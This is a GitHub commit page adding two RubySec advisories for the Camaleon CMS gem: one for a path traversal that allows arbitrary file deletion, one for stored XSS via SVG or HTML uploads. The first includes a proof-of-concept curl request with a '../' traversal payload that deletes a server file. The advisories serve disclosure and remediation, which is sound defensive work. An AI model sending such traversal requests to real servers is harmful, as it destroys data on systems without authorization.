Skip to content

Commit d2b6397

Browse files
jasnowRubySec CI
authored and
RubySec CI
committed
Updated advisory posts against rubysec/ruby-advisory-db@951c00b
1 parent aa4d6d6 commit d2b6397

File tree

2 files changed

+149
-0
lines changed

2 files changed

+149
-0
lines changed
Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
---
2+
layout: advisory
3+
title: 'GHSA-7x4w-cj9r-h4v9 (camaleon_cms): Camaleon CMS vulnerable to remote code
4+
execution through code injection (GHSL-2024-185)'
5+
comments: false
6+
categories:
7+
- camaleon_cms
8+
advisory:
9+
gem: camaleon_cms
10+
ghsa: 7x4w-cj9r-h4v9
11+
url: https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-7x4w-cj9r-h4v9
12+
title: Camaleon CMS vulnerable to remote code execution through code injection (GHSL-2024-185)
13+
date: 2024-09-18
14+
description: |
15+
The [actions](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L51-L52)
16+
defined inside of the MediaController class do not check whether a
17+
given path is inside a certain path (e.g. inside the media folder).
18+
If an attacker performed an account takeover of an administrator
19+
account (See: GHSL-2024-184) they could delete arbitrary files or
20+
folders on the server hosting Camaleon CMS. The
21+
[crop_url](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L64-L65)
22+
action might make arbitrary file writes (similar impact to GHSL-2024-182)
23+
for any authenticated user possible, but it doesn't seem to work currently.
24+
25+
Arbitrary file deletion can be exploited with following code path:
26+
The parameter folder flows from the actions method:
27+
```ruby
28+
def actions
29+
authorize! :manage, :media if params[:media_action] != 'crop_url'
30+
params[:folder] = params[:folder].gsub('//', '/') if params[:folder].present?
31+
case params[:media_action]
32+
[..]
33+
when 'del_file'
34+
cama_uploader.delete_file(params[:folder].gsub('//', '/'))
35+
render plain: ''
36+
```
37+
into the method delete_file of the CamaleonCmsLocalUploader
38+
class (when files are uploaded locally):
39+
```ruby
40+
def delete_file(key)
41+
file = File.join(@root_folder, key)
42+
FileUtils.rm(file) if File.exist? file
43+
@instance.hooks_run('after_delete', key)
44+
get_media_collection.find_by_key(key).take.destroy
45+
end
46+
```
47+
Where it is joined in an unchecked manner with the root folder and
48+
then deleted.
49+
50+
**Proof of concept**
51+
The following request would delete the file README.md in the top
52+
folder of the Ruby on Rails application. (The values for auth_token,
53+
X-CSRF-Token and _cms_session would also need to be replaced with
54+
authenticated values in the curl command below)
55+
```
56+
curl --path-as-is -i -s -k -X $'POST' \
57+
-H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' -H $'Connection: keep-alive' \
58+
-b $'auth_token=[..]; _cms_session=[..]' \
59+
--data-binary $'versions=&thumb_size=&formats=&media_formats=&dimension=&private=&folder=..
60+
2F..
61+
2F..
62+
2FREADME.md&media_action=del_file' \
63+
$'https://<camaleon-host>/admin/media/actions?actions=true'
64+
```
65+
66+
**Impact**
67+
68+
This issue may lead to a defective CMS or system.
69+
70+
**Remediation**
71+
72+
Normalize all file paths constructed from untrusted user input
73+
before using them and check that the resulting path is inside the
74+
targeted directory. Additionally, do not allow character sequences
75+
such as .. in untrusted input that is used to build paths.
76+
77+
**See also:**
78+
79+
[CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/)
80+
[OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
81+
cvss_v3: 7.2
82+
patched_versions:
83+
- ">= 2.8.1"
84+
related:
85+
url:
86+
- https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-7x4w-cj9r-h4v9
87+
- https://github.com/owen2345/camaleon-cms/commit/f5d032549fa0a204d06e738caf2663607967dee2
88+
- https://github.com/advisories/GHSA-7x4w-cj9r-h4v9
89+
---
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
---
2+
layout: advisory
3+
title: 'GHSA-r9cr-qmfw-pmrc (camaleon_cms): Camaleon CMS vulnerable to stored XSS
4+
through user file upload (GHSL-2024-184)'
5+
comments: false
6+
categories:
7+
- camaleon_cms
8+
advisory:
9+
gem: camaleon_cms
10+
ghsa: r9cr-qmfw-pmrc
11+
url: https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-r9cr-qmfw-pmrc
12+
title: Camaleon CMS vulnerable to stored XSS through user file upload (GHSL-2024-184)
13+
date: 2024-09-18
14+
description: |
15+
A stored cross-site scripting has been found in the image upload
16+
functionality that can be used by normal registered users:
17+
It is possible to upload a SVG image containing JavaScript and
18+
it's also possible to upload a HTML document when the format
19+
parameter is manually changed to [documents][1] or a string of an
20+
[unsupported format][2]. If an authenticated user or administrator
21+
visits that uploaded image or document malicious JavaScript can be
22+
executed on their behalf
23+
(e.g. changing or deleting content inside of the CMS.)
24+
25+
[1]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_uploader.rb#L105-L106
26+
[2]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_uploader.rb#L110-L111
27+
28+
## Impact
29+
30+
This issue may lead to account takeover due to reflected
31+
Cross-site scripting (XSS).
32+
33+
## Remediation
34+
35+
Only allow the upload of safe files such as PNG, TXT and others
36+
or serve all "unsafe" files such as SVG and other files with a
37+
content-disposition: attachment header, which should prevent
38+
browsers from displaying them.
39+
40+
Additionally, a [Content security policy (CSP)][3]
41+
can be created that disallows inlined script. (Other parts of the
42+
application might need modification to continue functioning.)
43+
44+
[3]: https://web.dev/articles/csp
45+
46+
To prevent the theft of the auth_token it could be marked with
47+
HttpOnly. This would however not prevent that actions could be
48+
performed as the authenticated user/administrator. Furthermore,
49+
it could make sense to use the authentication provided by
50+
Ruby on Rails, so that stolen tokens cannot be used anymore
51+
after some time.
52+
cvss_v3: 5.4
53+
patched_versions:
54+
- ">= 2.8.1"
55+
related:
56+
url:
57+
- https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-r9cr-qmfw-pmrc
58+
- https://github.com/owen2345/camaleon-cms/commit/b18fbc74f3ecd98a1f781d015f5466ef16b1425b
59+
- https://github.com/advisories/GHSA-r9cr-qmfw-pmrc
60+
---

0 commit comments

Comments
 (0)